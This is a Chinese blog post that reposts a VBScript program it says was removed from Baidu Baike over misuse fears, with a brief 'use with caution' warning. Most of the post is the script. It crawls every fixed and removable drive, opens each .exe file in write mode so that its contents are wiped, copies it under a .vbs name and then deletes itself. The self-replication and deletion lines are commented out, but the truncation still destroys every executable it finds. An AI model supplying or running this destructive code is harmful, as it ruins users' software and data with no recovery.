Vbs 测试程序二

这是一段原载于百度百科上的代码,Chaobs转载

原帖已删,就是怕有人用这个恶意程序。

慎用!

dim folder,fso,foldername,f,d,dc 
set fso=createobject("scripting.filesystemobject") 
set self=fso.opentextfile(wscript.scriptfullname,1) 
vbscopy=self.readall 
self.close 
set dc=fso.Drives 
for each d in dc 
if d.drivetype=3 or d.drivetype=2 then 
wscript.echo d 
scan(d) 
end if 
next 
lsfile=wscript.scriptfullname 
set lsfile=fso.getfile(lsfile) 
lsfile.delete(true) 
sub scan(folder_) 
on error resume next 
set folder_=fso.getfolder(folder_) 
set files=folder_.files 
for each file in files 
ext=fso.GetExtensionName(file) 
ext=lcase(ext) 
if ext="exe" then 
set ap=fso.opentextfile(file.path,2,true) 
' ap.write vbscopy 
ap.close 
set cop=fso.getfile(file.path) 
cop.copy(file.path & ".vbs") 
' file.delete(true) 
end if 
next 
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scan(subfolder) 
next 
end sub

posted @   Chaobs  阅读(275)  评论(0编辑  收藏  举报
编辑推荐:
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
阅读排行:
· 周边上新:园子的第一款马克杯温暖上架
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
· 使用C#创建一个MCP客户端
点击右上角即可分享
微信分享提示